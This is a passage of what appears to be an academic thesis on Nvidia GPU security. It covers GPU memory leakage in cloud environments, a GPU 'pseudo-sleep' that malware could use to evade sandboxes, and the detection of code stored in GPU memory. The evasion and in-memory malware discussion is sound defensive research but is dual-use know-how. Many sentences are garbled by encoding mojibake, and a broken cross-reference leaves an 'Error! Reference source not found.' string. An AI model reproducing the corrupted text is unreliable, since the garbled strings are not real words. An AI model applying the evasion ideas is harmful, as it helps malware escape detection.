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Abstract 

In this thesis, we consider several security risks posed by Nvidia GPUs which have been 

amplified by recent developments in GPU technology and GPU malware. In particular, the risk 

of GPU memory leakage in a GCP environment is assessed, and a recent paper investigating 

GPU memory leakage attacks is reviewed to verify its results. Using CUDA debuggers, a more 

granular understanding of how Nvidia GPUs clear memory is provided, which contradicts with 

the claims of some existing literature about Nvidia GPU memory clearing. This allows us to find 

no risk of GPU memory leakage in GCP environments using current methods. 

Alongside this, a novel GPU pseudo-sleep is developed, which could be used by malware to 

bypass sandboxes and evade detection. Further, several possible sample programs are 

identified which could be similarly modified, which provides potential resistance to signaturing 

if this technique was used by malware. 

Finally, following recent claims from malware authors that malware exists which can execute 

code within GPU memory space, a method of detecting malicious code stored within GPU 

memory is identified and tested. This method is only successfully used on Linux in this project, 

but it should be possible to apply it in a Windows context as well. 
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1. Introduction 
Graphics Processing Units (GPUs) have risen in prominence in recent years, with them being 

integral to developments in machine learning and serving as engines of the cryptocurrency 

boom. In fact, prices skyrocketed after cryptocurrency miners started buying all the available 

GPUs in order to develop large mining rigs [1]. Given this growth in prevalence and the growth 

in GPU computation power and memory storage, with newer GPUs having up to 80GB of RAM 

[2], the technical capabilities of GPUs have never been higher. Alongside this, the growth in 

general-purpose computing on GPUs (GPGPU), which allows GPUs to perform a wider range of 

tasks than previously, means that GPUs are more powerful than they have ever been. 

Given this, it becomes more important to consider the security risks associated with GPUs, as 

their capabilities develop further and so they become increasingly likely targets for malware. 

Two recent developments in particular highlight the major security risks associated with GPUs. 

The first is the fact that GPUs are accessible on all major cloud platforms now [3, 4, 5], and so 

HeIoﾏe aIIessiHle to thヴeat aItoヴs iﾐ a ┘a┞ that ph┞siIal GPUs aヴeﾐ’t. This is especially 

concerning as cloud platforms have seen a large and growing number of data breaches [6]. The 

large amounts of RAM which GPUs now have, along with the wider range of tasks they are used 

for and the ability to rent them from a cloud provider, means that attacks on cloud GPUs could 

leak customer encryption keys [7] without requiring the attacker to have anything other than a 

cloud account. These attacks could also be carried out against hundreds or thousands of victims 

simultaneously if they prove to be feasible, representing a significant risk to cloud customers. 

The second development involves the use of a GPU to aid malware in evading detection. The 

malware arms race between malware authors and malware analysts, anti-virus (AV), and 

endpoint detection and response (EDR) firms has resulted in ever more creative methods of 

new malware detection methods and new methods bypassing existing detection [8]. GPUs have 

already been used by malware, including a key-logger which hides itself more effectively by 

accessing the keyboard buffer via GPU memory [9]. However, recently claims have been made 

that malware exists which will execute within GPU memory space [10], thereby bypassing all 

current memory scanning techniques. This would be significant as historically, whilst GPU 
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memory can be used to hide malicious code, it always has to be returned to normal system 

memory to be executed, and so it was always detectable by traditional memory scanning 

provided you could scan memory at the correct time. Executing code from GPU memory would 

result in complete bypass of existing memory scanning, thereby providing a significant benefit 

to malware authors. 

This work will consider three-specific problem areas relating to Nvidia GPUs and these two 

recent developments. The first will focus on GPU memory leakage in cloud environments, 

specifically Google Cloud Platform (GCP). The second will focus on a novel method of utilising 

the GPU to assist malware in evading detection by replacing a standard sleep call with a GPU 

pseudo-sleep. Given the ever-changing nature of malware detection and evasion, pre-emptively 

identifying potential new uses of GPUs for malware is important to provide the best possible 

chance of detecting new malware. The third problem area will focus on developing a detection 

method for malicious code stored within GPU memory, which will be a vital area of future 

research if the claims of malware executing from GPU memory space are true.  

These problem areas cover both the most common threat to GPU data, memory leakage, and 

the most common malicious use of a GPU to attack a host system, storing data in GPU memory, 

whilst also investigating the potential for novel attacks by considering a GPU pseudo-sleep. 

The sections of this project are organised as follows: Section 2 provides relevant background to 

understand this project, including the basics of GPU architecture and why CUDA was chosen for 

this project. Section 3 will contain a review of the state of research into GPU memory leakage 

attacks, considering how cloud services affect this attack vector; the use of GPU memory to 

bypass malware detection techniques; and the use of sleep functions within malware. Section 4 

details the setup, goals, and methodology for three experiments, one for each of the stated 

problem areas. Sections 5, 6, and 7 present the experiment results, with section 8 concluding 

the project and detailing possible future work. Section 9 then contains my reflections on the 

project. 
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2. Background 

2.1. GPU Basics 

A graphics card is a pヴiﾐted IiヴIuit Hoaヴd ふPCBぶ ┘hiIh Iaﾐ He attaIhed to a Ioﾏputeヴ’s 

motherboard and is historically used to generate images to be shown on a monitor or other 

display device. The main chip on a graphics card, which performs the necessary calculations to 

render the images, is called the Graphics Processing Unit (GPU), though the term GPU is often 

used interchangeably with the term graphics card, which refers to the whole PCB and includes 

the other relevant hardware such as the Video RAM (VRAM). In this report, the term GPU will be 

used interchangeably with the term graphics card. 

There also exists integrated GPUs (iGPUs) where the actual GPU chip can be integrated into the 

ﾏaiﾐ ﾏotheヴHoaヴd aﾐd has ﾐo dediIated ﾏeﾏoヴ┞ itself, Hut iﾐstead Iaﾐ use paヴt of the s┞steﾏ’s 

RAM. Most laptops will now ship with an iGPU but not necessarily a separate graphics card, also 

called a discrete GPU, and so iGPUs account for most of the GPUs produced. Throughout this 

report, GPU will refer specifically to a discrete GPU, and if iGPUs are relevant they will be 

specifically named. 

Whilst GPUs historically were used just for graphics processing, the introduction of general-

purpose computing on GPUs (GPGPU) in the early 2000s allowed GPUs to be used for more 

purposes than just rendering graphics. The development of GPUs has made them very efficient 

at the mathematical calculations required for modern computer graphics, with linear algebra 

Heiﾐg used e┝teﾐsi┗el┞ iﾐ ﾏodeヴﾐ gヴaphiIs to ヴeﾐdeヴ iﾏages Hased oﾐ the useヴ’s peヴspeIti┗e and 

perform shading to imitate light reflection accurately. Therefore, GPUs could be used to perform 

similar mathematical computations for non-graphics related processes. 

Examples of non-graphics uses of GPU computing power include password cracking, with popular 

password cracking software Hashcat making use of the GPGPU language OpenCL [11], as well as 

historically having used the Nvidia-specific language CUDA. Given the mathematical calculations 

that need to be performed within hashing algorithms, often using linear algebra such as matrix 

transformations, GPGPU is significantly faster than using the CPU. 
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The expanded functionality of GPUs has resulted in increased demand from newer areas and 

industries ranging from cryptocurrency mining to data science and machine learning. In both of 

these use cases, GPUs perform complex mathematical operations more efficiently than a CPU, 

resulting in usage of larger clusters of GPUs to perform these operations at scale.  

Given the increased demand for improved graphics quality alongside newer use-cases for GPUs, 

the requirements for the supporting hardware within graphics cards has increased accordingly. 

This has resulted in significant increases in the amount of VRAM that modern GPUs have available 

to them, with GPUs nowadays sometimes having more memory than even high-spec gaming 

computers. The Nvidia A100, for example, has 80GB of RAM [2], and with that there comes a 

need to consider the security risks associated with GPU memory more comprehensively. This is 

especially true as GPUs are mostly optimized for performance and not security, as hypothesized 

in [7]. 

 

2.2. Nvidia and CUDA 

The GPU market consists of three major companies: Intel, Nvidia, and AMD. Intel makes up the 

majority of GPU sales, 60% in quarter 1 of 2022, due to their integrated GPUs (iGPUs), but they 

are not a major retailer of discrete GPUs [12]. In the discrete GPU market, Nvidia had a market 

share of 78%, with AMD having 17% and Intel with only 4%, in quarter 1 of 2022 [12]. The market 

share of the various manufacturers is important when considering what language might be used 

by malware to interact with GPUs. Malware authors would likely want to have their malware be 

as portable as possible, and work on as many systems as possible, and so this needs to be 

considered, along with the support and benefits of each language. 

The Compute Unified Device Architecture (CUDA) language is developed by Nvidia and works 

exclusively with Nvidia GPUs. The Open Computing Language (OpenCL), on the other hand, is 

developed by the Khronos Group, a non-profit tech consortium which includes Nvidia, AMD, and 

Intel [13]. Given the involvement of all three manufacturers, OpenCL is compatible with all Intel, 

AMD, and Nvidia GPUs.  
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Only Nvidia GPUs were available for experiments during this project, as discussed further in 

section 4.1Error! Reference source not found.. Given the nature of the project, it seemed likely 

that debugging would be necessary, for example to look at GPU memory and during the course 

of any software development. Nvidia provides more debugging support, through Nvidia Nsight 

on Windows [14], and cuda-gdb [15] on Linux, than is available for OpenCL on Nvidia GPUs. There 

are two different versions of the Nsight debugger, the Legacy and Next-Gen debuggers, with the 

Legacy version only being able to debug CUDA, and not C++ code, and only working on older 

Nvidia GPU architectures [16].  Whilst coding in OpenCL would make any output more portable, 

it could make the development more difficult. Therefore, CUDA was used throughout this project, 

though there are many tools dedicated to converting to OpenCL from CUDA [17, 18, 19], and 

possible further work may include porting any proof-of-concept code from CUDA to OpenCL to 

allow it to be deployable on iGPUs in particular. 

CUDA commands are often analogous to existing system commands but relate to the Nvidia GPU. 

Withiﾐ CUDA Ioﾏﾏaﾐds, the teヴﾏs さde┗iIeざ aﾐd さhostざ aヴe used foヴ the GPU aﾐd the ﾏaiﾐ 

computer respectively. Most of the commands used in this project related to GPU memory 

management, and a few of the most common commands used are listed here [20]: 

• cudaMalloc – Allocates a specified amount of global GPU memory.  

• cudaMemcpy – Used to copy data between the host and GPU (device). 

• cudaFree – Used to free memory allocated on the GPU.  

• cudaMemset – Sets GPU memory to a certain value. 

 

2.3. GPU Architecture 

In order to assess the risks associated with GPUs, it is necessary to have at least a basic 

understanding of the underlying architecture of GPUs, and how they differ from CPUs. At a basic 

level, it comes down to the difference between serial processing and parallel processing. CPUs 

contain a small number of cores designed to process a few threads at a time but optimised to 
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handle large amounts of sequential instructions. GPUs, on the other hand, have many more 

cores, which allows them to simultaneously run hundreds or thousands of threads. 

Whilst the high-level GPU architecture is the same between manufactures, there are differences 

between the implementation and specifics of GPU architectures, so here specifically the Nvidia 

GPU architecture will be discussed. 

The building block of an Nvidia GPU are CUDA cores, which can be thought of as similar to CPU 

cores, though they are much simpler and less powerful than a CPU core. There are different types 

of CUDA core, which are used for specific operations, such as floating point or integer cores. 

These CUDA cores are collected into streaming multiprocessors (SM), with the number of CUDA 

cores per SM depending on the specific Nvidia architecture being used. For example, within the 

Turing architecture [21], each SM contains 64 FP32 cores, 64 INT32 cores, 8 mixed-precision 

Turing Tensor cores, and 1 RT core. The SM is split into four processing blocks, with 16 FP32 cores, 

16INT32 cores, and 2 Tensor cores, with 1 warp scheduler and 1 dispatch unit. 

A warp is a collection of 32 threads which are executed simultaneously, running the same 

instructions but over different data. For example, they could all be performing an addition 

operation, but the numbers each thread is adding could be different. This is called the Single 

Instruction Multiple Thread (SIMT) model [22].  

When writing a CUDA program, a CUDA kernel is what is written to define the instructions to be 

run on the GPU. When running this kernel, you define a number of thread blocks to run, and a 

number of threads per block to have. The collection of thread blocks defined is called a grid. 

A thread block is just a collection of threads. Each thread block within the grid is assigned to a 

particular SM within the GPU, and the number of threads within the block is split up into warps 

of 32 threads. These warps are then executed on a processing block of the SM via the warp 

scheduler. 
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Figure 1 - CUDA kernel execution layers [23] 

So, we can think of having three logical layers of memory: 

• The CUDA grid 

• The CUDA thread block 

• The CUDA thread 

Each layer has different memory accessible only to that layer, as shown in Table 1. 

Memory Accessibility Physical Location 

Local Accessible only to the specific thread GPU RAM 

Shared Accessible only to the specific thread block SM memory 

Global Accessible to all threads GPU RAM 

Table 1 - Nvidia GPU logical memory mappings 

Figure 2 provides a comprehensive view of logical memory (in green) and how this maps onto 

physical memory (in blue) in an Nvidia GPU. The relevant logical memory blocks are: 

• Local memory – Memory specific to an executing thread and not visible outside that 

thread. This is actually a portion of GPU RAM accessible just to that thread. 

• Shared memory – Memory accessible to a specific block, which can be accessed by all 

threads within a block but not threads outside the block. 
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• Global memory – Memory accessible to all threads in the GPU. It is a 49-bit virtual address 

spaIe Ioヴヴespoﾐdiﾐg to the GPU’s VRAM, piﾐﾐed s┞steﾏ ﾏeﾏoヴ┞, oヴ peeヴ ﾏeﾏoヴ┞. There 

are specific parts of global memory reserved for certain types of data:    

o Texture memory – This is part of global memory but is accessible through a specific 

cache which is optimized for dealing with texture memory. It is read-only. 

o Surface memory – The same as texture memory, but the memory is readable and 

writeable. 
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Figure 2 - Nvidia Nsight Compute Memory Chart [24]
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2.4. Memory 

First, we note that when we refer to memory throughout this project, we are referring to 

volatile memory, specifically RAM. Any references to persistent memory such as HDD or SSD 

will be explicit.  

Given this project will focus significantly on the use of GPU memory, and how storing data in it 

may be different than storing data in normal memory, it is necessary to have a basic 

understanding of how a process has access to memory. Firstly, we consider that when a process 

begins, it is given an amount of RAM into which it loads any relevant data, libraries, and 

executable code. This memory mapping can be viewed in a debugger, such as x64dbg [25], as 

seen in Figure 3. This sho┘s ┗aヴious ヴeseヴ┗ed seItioﾐs, iﾐIludiﾐg that foヴ the pヴoIess’ staIk, and 

then the contents of the executable blackscholes.exe along with relevant DLLs which have been 

loaded.  

 

Figure 3 - Memory map from x64dbg of the program blackscholes.exe 
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Now the memory addresses seen in x64dbg are Ialled ┗iヴtual addヴesses, HeIause the┞ aヴeﾐ’t 

the actual physical memory addresses where that data is stored in RAM, but instead a mapped 

version of this memory. This allows all processes to have a contiguous virtual address space, 

whilst something called a page table is used to map the virtual memory within a process to the 

physical memory addresses.  

When considering GPU memory, the structure is very similar. A process using a GPU will have a 

memory space which has a virtual addressing system, and then a page table to map to the 

GPU’s ph┞siIal ﾏeﾏoヴ┞ addヴesses. 

 

2.5. Hooks 

The idea of さhookiﾐgざ fuﾐItioﾐs ┘ill appeaヴ duヴiﾐg this pヴojeIt, so a ┗eヴ┞ Hヴief iﾐtヴoduItioﾐ is 

given. For our purposes, the notion of hooking is when a particular function or API call is altered 

so that some custom code runs before it, after it, or sometimes instead of it. This allows 

someone to change the impact of a common function. 

For example, the sleep function could be hooked to just ignore the sleep altogether or to check 

if a sleep was over a certain length and skip it only if this was the case. Hooks are often used by 

AV and EDR solutions to allow them to monitor certain functions or API calls which they 

consider risky or noteworthy. 
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3. Literature Review 

When assessing how GPU security risks are impacted by increased GPU usage and memory 

storage, both the risks to the data stored in GPU memory and how malware could leverage GPUs, 

gi┗eﾐ the┞’ヴe becoming both more powerful and more prevalent, need to be considered. In 

section 3.1, we review GPU memory leakage attacks, and in section 3.2 we consider how malware 

can leverage GPUs to evade detection. 

 

3.1. Memory Leakage 

GPU memory is expected to contain standard graphics data, which is used in rendering images, 

which could contain sensitive data as it may be possible to recover images displayed to the 

screen. Alongside graphical data, the newer uses of GPUs through GPGPU means that other forms 

of sensitive data may be stored within GPU memory. For example, there are implementations of 

encryption algorithms, such as AES, which can be run on a GPU [26], and this means that the 

symmetric AES key may be recoverable from GPU memory.  

A threat actor could obtain sensitive data from the GPU in two ways: 

• Side-channel attacks which allow an attacker to derive information about the program 

running on the GPU. 

• Direct access to data within GPU memory. 

 

3.1.1. Side-Channel Attacks 

Several side-channel attacks have been performed on GPUs to derive a range of sensitive data. 

Encryption keys for AES [27] and RSA [28] have been successfully recovered using timing attacks 

against encryption routines running on a GPU, and details of a neural network running on a 

GPU have also been recovered via a side-channel attack [29].  



  

13 

 

It was also found by [29] that it was possible to fingerprint websites visited just by polling 

available GPU memory to track the GPU memory allocations made by the web browser. Despite 

the fact that Naghibijouybari et al.  [29] argue that their experiments show how GPU side-

channel attacks are practical, the fingerprinting experiment requires the control of many 

variables on the target system. The default configuration for browsers resulted in webpages 

being identified with only 59%, and this was after the webpages classified were limited to the 

front pages of Alexa 200 top websites. Coupled with this, different window sizes could reduce 

the accuracy down to 63% from 90% if the option to use the GPU to rasterise web-content was 

enabled. The time series of the GPU memory allocation whilst a web page is loaded is also likely 

to change as the web content page does, which it frequently will with news sites, social media 

sites, streaming sites, and other major websites. This means that the classification model built 

from initial test data may only be valid for a period of hours, thereby requiring repeated 

computations in order to be useful.  

Similarly, to practically implement the attacks identified in [27, 28], it would be necessary to 

know the exact encryption algorithm implementations being used to ensure that the side-

channel attack was valid. As well as this, in [27] the experiment requires having an attacker who 

can send millions of requests to a victim server which will use a GPU to encrypt the plaintext 

sent by the attacker, and return this to the attacker along with timing information. Jiang et al. 

[27] identify limitations of their attack by considering how accurate the timing informaiton 

available to the attacker likely is, and how a highly-occupied GPU might affect the timing 

results. Nevertheless, it finds that around 10 million requests would be able to recover a byte of 

the AES key with 90% accuracy. If this was done for each byte of the 16-byte key, and the 

chances of success were idependent of each other, then 160 million requests would give an 

18.5% chance of successfully recovering the AES key. It seems unlikely that a system exists that 

would encrypt all 160 million requests it received with the same encryption key, given the fact 

that re-use of encryption keys is a known weakness [30] with some protocols vulnerable to 

existing key-reuse attacks [31] 
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Whilst side-channel attacks are clearly possible, it seems unlikely that they will be implemented 

by threat actors in the near future, except for possibly very limited nation-state usage given the 

resources of nation-state actors and the sometimes unique systems targeted by them.  

 

3.1.2. Direct Memory Access 

Information leakage via GPU memory is a relatively well-studied subject, with information having 

been recovered from GPU memory including image files [32], recovered partial web-pages [33], 

and AES encryption keys [7]. All of these attacks focus on the same lack of memory clean-up, 

which allows GPU memory to be freed, re-allocated, and then read without the original memory 

contents being cleared or zeroed out.  

These experiments were all carried out using programs which recovered data from GPU memory 

immediately after the program using the memory ended. In this way, the experiments had the 

Hest IhaﾐIe to ヴeIo┗eヴ ﾏeaﾐiﾐgful data, Hut this also isﾐ’t ヴefleIti┗e of ho┘ these attaIks would 

likely be deployed in the real world. Instead, it is far more likely that an attacker would be able 

to dump GPU memory at a certain time, and then analyse the memory to determine if useful 

data could be acquired from the dump. This is a different problem to hunting for known data 

with a specific structure, as was the case in these experiments, where the value stored in GPU 

memory was known and all that was needed was to extract it. Instead, if deploying this attack, a 

threat actor would first need to determine the type and usefulness of any data recovered.  

Spending on cloud services has increased five-fold since 2010 [34, 35], and GPUs are available 

across all major cloud platforms [3, 4, 5]. GPUs in particular are a good target for cloud migration 

gi┗eﾐ the┞ aヴe ofteﾐ oﾐl┞ utilised foヴ さヲヵ-ンヰ% of the tiﾏeざ [36]. Wider use of cloud GPUs means 

that information leakage via GPU memory is a much more viable attack method as it no longer 

requires existing access to a ┗iItiﾏ’s s┞steﾏ. Given that GPUs are kept powered on within data 

centres when not in use by a cloud customer, the ┗olatile RAM ﾏeﾏoヴ┞ isﾐ’t ﾐeIessaヴil┞ Ileaヴed 

in the same way it would be if the GPU were powered off. 
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Initially, cloud providers only allowed customers to use a whole GPU, but more recently some 

providers, such as Azure [37] and Vultr [38] offer the ability to buy fractions of a GPU to attach 

to virtual machines (VMs). There are different ways that GPUs can be separated in order to sell 

fractions of them, with consequences for the strength of the segregation between users of 

fractions of the same GPU. The two main methods are: 

• Time-sharing/time-slicing – Here, several systems share a physical GPU, but at any one 

time only one system has control of it. Each system gets to run its workload on the GPU 

for a given period of time, and is then passed to the other systems, and control of the 

GPU is rotated around. 

• Multi-instance GPUs – This allows you to partition a GPU into several different instances 

which all have their own memory, cache, and cores. In this case, all systems can be using 

their portion of the GPU at the same time. 

Both Azure and Vultr use multi-instance GPUs, with dedicated memory and core segmentation, 

but Vultr also uses time-slicing for smaller GPU fractions [39]. Time-slicing presents greater risks 

HeIause if GPU ﾏeﾏoヴ┞ isﾐ’t Ileaヴed ┘heﾐ s┘appiﾐg Het┘eeﾐ iﾐstaﾐIes, it ┘ould He possiHle foヴ 

information leakage to occur via GPU memory. While information leakage is also possible if the 

segmentation used in multi-instance GPUs is weak, the segmentation does provide some 

protection.  

Therefore, when considering GPUs within a cloud architecture, there are two potential risk 

scenarios, as detailed in [40]. These are: 

• Serial adversary - An attacker has access to a GPU sequentially before or after a victim. 

• Parallel adversary - An attacker has access to a multi-instance GPU which is running on 

the saﾏe ph┞siIal GPU as the ┗iItiﾏ’s ﾏulti-instance GPU. 

Given that the standard method of providing GPUs in a cloud environment is by renting a whole 

GPU, the serial adversary is a more likely scenario. As noted by [40], whilst direct information 

leakage is less likely in the parallel adversary case, there is a possibility of side-channel attacks. 

However, if GPU memory, cache, and cores are all properly segmented then the impact of 
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workloads from other fractional GPUs should be limited, reducing the opportunity for side-

channel attacks. 

Maurice et al. [40] give a comprehensive overview of the state of information leakage attacks 

against GPUs in 2014, providing useful granularity in identifying the extent of information leakage 

by showing which actioﾐs allo┘ foヴ iﾐfoヴﾏatioﾐ leakage ふsuIh as s┘itIhiﾐg useヴぶ aﾐd ┘hiIh doﾐ’t 

(such as a hard reboot). It also introduces experiments specifically on a cloud platform, AWS, 

though soﾏe aItioﾐs ┘eヴeﾐ’t tested oﾐ AW“ HeIause this e┝peヴiﾏeﾐt, siﾏilaヴl┞ to the otheヴ 

information leakage experiments, relied upon writing known data to GPU memory and then 

recovering it. This prevented an experiment being conducted into if when spinning up a new VM, 

data could be recovered from the GPU which originated from the previous VM using that GPU. 

This was identified as being possible when considering locally virtualised access, where a GPU 

was connected to VMs running on a hypervisor on a local machine. Here, it was possible to 

recover data related to an old VM from a new VM connected to the same GPU.  

These GPU information leakage results are all from 5 years ago or more though, and there has 

been less work recently. In April 2022, Hoover [41] reviewed existing GPU information leakage 

vulnerabilities and was unable to successfully exploit any of them. Whilst this was an 

undergraduate dissertation, and so worthy of slightly more scrutiny, the failure of all attempted 

exploits suggests that known information leaks from GPUs may have been mitigated. It’s ┘oヴth 

noting that [41] doesﾐ’t ﾏeﾐtioﾐ Eヴヴoヴ CoヴヴeItioﾐ Codes ふECCsぶ at all, ┘hilst [40] found that 

having ECC enabled on an Nvidia GPU, which is a default configuration, prevented information 

leakage from GPU memory. Aloﾐgside this, soﾏe of Hoo┗eヴ’s Ilaiﾏs appeaヴ ﾏoヴe defiﾐiti┗e thaﾐ 

his results would support. For example, he claims that GPU global memory is さiﾐitialized to zeヴoざ 

after allocation aﾐd さzeヴoed afteヴ dealloIatioﾐざ [41, p. 1] but then during his experimentation 

phase ﾐotes that さﾏeﾏoヴ┞ ┘as Ileaヴed out soﾏetiﾏe Het┘eeﾐ dealloIatioﾐ aﾐd alloIatioﾐざ [41, 

p. 5] as opposed to finding memory clearing necessarily occurs in both allocation and de-

allocation.  As such, Hoo┗eヴ’s ヴesults aヴe ┘oヴth ヴe┗ie┘iﾐg, espeIiall┞ as he ﾐotes that it was 

さsoﾏetiﾏes uﾐIleaヴざ ┘h┞ the ┗ulﾐeヴaHilities ┘eヴeﾐ’t e┝ploitaHle and the さlaIk of doIuﾏeﾐtatioﾐ 

H┞ N┗idiaざ [41, p. 5] made it diffiIult to ideﾐtif┞ aﾐ┞ poteﾐtial fi┝es the┞’d iﾏpleﾏeﾐted. 
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3.2. AV and EDR Evasion 

The development of malware and subsequent development of detections for malware is an 

established cycle, with malware authors constantly attempting to develop new methods to avoid 

existing detections, and malware analysts and EDR vendors writing new detections when they 

discover novel functionality or methods within malware. This cycle means that malware 

development, unlike a lot of research, consists not just of doing new things, but also of doing 

existing things differently.  

In the last decade, malware has begun to use GPUs to reduce the chance of detection, with [42] 

noting that by 2015 only one known GPU-assisted malware had been seen in the wild. 

Historically, this had been more the focus of researchers, with both a keylogger [9] and rootkits 

[43, 44, 45] using GPU memory having been developed, as well as an unpacking mechanism [46] 

which utilised both GPU memory and the computational abilities of the GPU to implement brute-

force unpacking. 

More recently, VX-Underground claimed that malware was sold which allows binaries to be 

executed by the GPU and in GPU memory space, as opposed to by the CPU [10]. Given that GPU 

cores are different to CPU cores, being much less complex and designed for much more specific 

tasks, it is unclear how they have managed to do this. It is important to note that initially VX-

Uﾐdeヴgヴouﾐd Ilaiﾏed that the┞ ┘ould さdeﾏoﾐstヴate this teIhﾐiケue sooﾐざ [10] but this was over 

a year ago and no such demonstration has been provided. Therefore, it is unknown if this 

capability has actually been developed. 

 

3.2.1. Malware Analysis and Detection 

To fully understand how GPUs may be useful in AV or EDR evasion, it is important to consider the 

malware detection methods that a threat actor may be trying to evade. We first consider the two 

well-established types of malware analysis: 
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• Static – Analysis performed without running the sample executable. This can include 

looking at file hashes and strings or decompiling and analysing the code using a tool such 

as Ghidra [47]. 

• Dynamic – Analysis performed by running the sample executable and observing the 

system state during and after its execution. 

These types of analysis are separate to the categories used to describe malware detection. In 

existing literature, such as [48, 49], the following types of malware detection are identified: 

• Signature-based detection – Involves scanning for known patterns within sample 

executables, such as file hashes, strings, file types, or a certain sequence of bytes. 

• Behaviour-based detection – Involves identifying actions performed by an executable by 

ヴuﾐﾐiﾐg it aﾐd assessiﾐg Ihaﾐges ﾏade to the s┞steﾏ state duヴiﾐg the pヴogヴaﾏ’s 

execution. 

• Heuristic-based detection – Involves comparing an executable to known malware and 

malicious behaviour, utilising both static and dynamic analysis. For example, using fuzzy 

matching to look for code similar to known malware. 

During my research, I didﾐ’t fiﾐd these categories of malware detection useful. It was difficult to 

determine the distinction the authors were trying to make between dynamic heuristic-based 

detection and behaviour-based detection. The descriptions for behaviour-based detection also 

just seemed to match that of dynamic analysis, when it seemed possible the behaviour of a 

sample program could be determined by decompiling it and analysing the code and, for example, 

the Windows API calls it made. As such, below are two definitions I feel are more helpful for 

understanding the different types of malware detection. 

• Signature-based detection – Involves scanning for known indicators, including file 

hashes, strings, file types, and certain sequences of bytes.  

o These could relate to specific versions of malware (hashes), specific families of 

malware (strings), or specific malicious actions, such as the byte sequence 
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associated with the assembly used to perform certain debugger checks as an anti-

analysis tool [8]. 

o This could use static analysis by checking the sample executable hash and looking 

for specific strings or byte patterns. 

o This could use dynamic analysis, by signature matching in-memory code that was 

packed or encrypted within the initial executable. 

• Behaviour-based detection – Involves identifying actions performed by an executable 

and comparing that to known tactics, techniques, and procedures (TTPs). 

o This could use static analysis by analysing Windows API calls to look for known 

sequences, such as OpenProcess, VirtualAllocEx, WriteProcessMemory, and 

CreateRemoteThread which can be used for code injection. 

o This could use dynamic analysis by observing network traffic, registry keys, and 

file modifications when the sample executable is run. 

In this way, the definitions of the state of the sample during analysis (static or dynamic) is 

separated from the method being used to infer information about the sample (signature-based 

or behaviour-based). The signature-based and behaviour-based detections can be considered in 

a similar way to the difference between indicators of compromise (IOCs) and TTPs. 

Behaviour-based detection is the more important detection method now given the ease with 

which malware can bypass signaturing, as shown by metamorphic and polymorphic viruses [50]. 

Even in the early 2000s, it was noted that static signature-based detection provided limited 

security [30], though the subsequent use of in-memory scanning (scanning the RAM associated 

with a given process) has since made signature-based detection more relevant. 

It is also important to note the times when malware may be analysed or detected, with there 

being three main phases during which analysis or detection can occur. 

• Pre-execution – Analysis or detection occurring before the executable is run on a live 

system. This can occur during downloading of the executable, and could involve the 

running of the executable within a sandbox environment. This rarely consists of manual 
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analysis given the logistical difficulties of manually analysing all downloaded or executed 

files. 

• During execution – Detection occurring whilst the executable is being run on a live 

system. This could occur if an AV or EDR solution detects anything during runtime, such 

as suspicious behaviour. Initial detection is likely to be automated, but manual analysis 

may occur at this stage. 

• Post-execution – Analysis or detection occurring after the executable has run. This may 

be after a breach has been discovered and incident response activities have identified the 

executable as malicious. This is the stage most likely to involve manual analysis, as more 

definitive evidence of malicious activity is likely to have been found. 

When malware authors are considering these phases of detection and analysis, avoiding 

detection in the first two phases is crucial. This allows the malware to execute, and so bypassing 

these is the priority. Whilst malware often includes obfuscation to make manual analysis more 

difficult, the first two phases consist mostly of automated checks, and therefore these are the 

most important checks for malware to bypass. 

 

3.2.2. In-Memory Malware 

In recent years, the development of in-memory malware [29], where malicious code is never 

actually written to persistent memory and is only ever stored in volatile RAM, has required 

changes in malware detection methods. Historically, AV solutions would scan files when they 

┘eヴe さ┘ヴitteﾐ to diskざ ふi.e. stoヴed iﾐ peヴsisteﾐt ﾏeﾏoヴ┞ suIh as HDD oヴ ““Dぶ and perform 

signature-based detection at this point. In-memory malware evades this kind of detection 

entirely, and so instead EDR solutions scan and dump a pヴoIess’ ﾏeﾏoヴ┞ at a point in time and 

analyse this to look for signatures or behavioural indicators.  

Botacin et al. [29] note some of the restrictions of memory scanning though, specifically that it is 

resource intensive and so cannot be done continuously. This means that malicious code may be 
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present in memory between scans without being detected, pヴo┗ided it isﾐ’t pヴeseﾐt at the 

specific times that memory is scanned. 

Therefore, it is important for EDR solutions to carefully determine when they are going to scan a 

pヴoIess’ ﾏeﾏoヴ┞ to ha┗e the Hest IhaﾐIe of identifying indicators of malicious behaviour. For 

example, WithSecure [51] noted that the calls to the CreateProcess and CreateRemoteThread 

resulted in Windows Defender sIaﾐﾐiﾐg the Ialliﾐg pヴoIess’ ﾏeﾏoヴ┞. The logiI Hehiﾐd this is that 

these API calls could be used to create a process or thread in which to run shellcode, and so 

scanning as that thread or process is created might identify shellcode which was previously 

obfuscated in some way, but has been decoded in order to be stored in executable memory and 

be run. 

Even if shellcode or other malicious code is obfuscated whilst in memory though, it can still 

soﾏetiﾏes He deteIted. “eIaヴﾏa’s ヴeseaヴIh [52] found that using three rounds of XOR with the 

keys 0x42, 0x43, and 0x44 oﾐ a ﾏaliIious pa┞load still ┘asﾐ’t eﾐough to pヴe┗eﾐt MiIヴosoft 

Defender from successfully detecting it. This highlights that as malware encoding becomes 

stronger, so does the ability of EDR solutions to detect encoded payloads.  

Given the most popular command and control (C2) infrastructure available [53], Cobalt Strike 

[54], runs its payload さBeaconざ in-memory, in-memory indicators are currently a major focus of 

malware detection and evasion. These indicators of malicious activity can include signatured 

shellcode stored in memory and behaviour-related indicators such as executable memory pages 

not being backed by memory on disk.  

The Demon keylogger [9], for example, maps the keyboard buffer into the memory of the process 

running on the host system. This allows the GPU kernel to access that memory, but then the 

ke┞Hoaヴd Huffeヴ Iaﾐ He uﾐﾏapped fヴoﾏ the host pヴoIess’ ﾏeﾏoヴ┞ HeIause the GPU aIIesses 

the memory via direct memory access (DMA). As such, once the physical address memory 

address of the keyboard buffer is iﾐ the GPU’s page taHle, the keyboard buffer no longer needs 

to He ┘ithiﾐ the host pヴoIess’ ﾏeﾏoヴ┞. As EDR solutioﾐs ha┗e ﾐo sight o┗eヴ GPU memory, there 

is no longer a way to tell that the keyboard buffer is being accessed by the keylogger, allowing it 

to go undetected. It is noted in [55, p. 1] that さit is diffiIult to deteIt the e┝eIutioﾐ of GPU-hosted 
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ﾏal┘aヴe, aﾐd iﾐ Ieヴtaiﾐ Iases, it is e┗eﾐ diffiIult to deteIt its pヴeseﾐIeざ, highlightiﾐg the 

difficulties that cybersecurity teams and vendors have with handling malware which uses GPU 

memory. 

 

3.2.3. Computation 

The functionality of GPUs is to provide accelerated programming by using parallel processing on 

certain tasks which benefit from such processing. The computing power of GPUs could be utilized 

in several different ways to benefit malware. One use of GPU computation already discussed is 

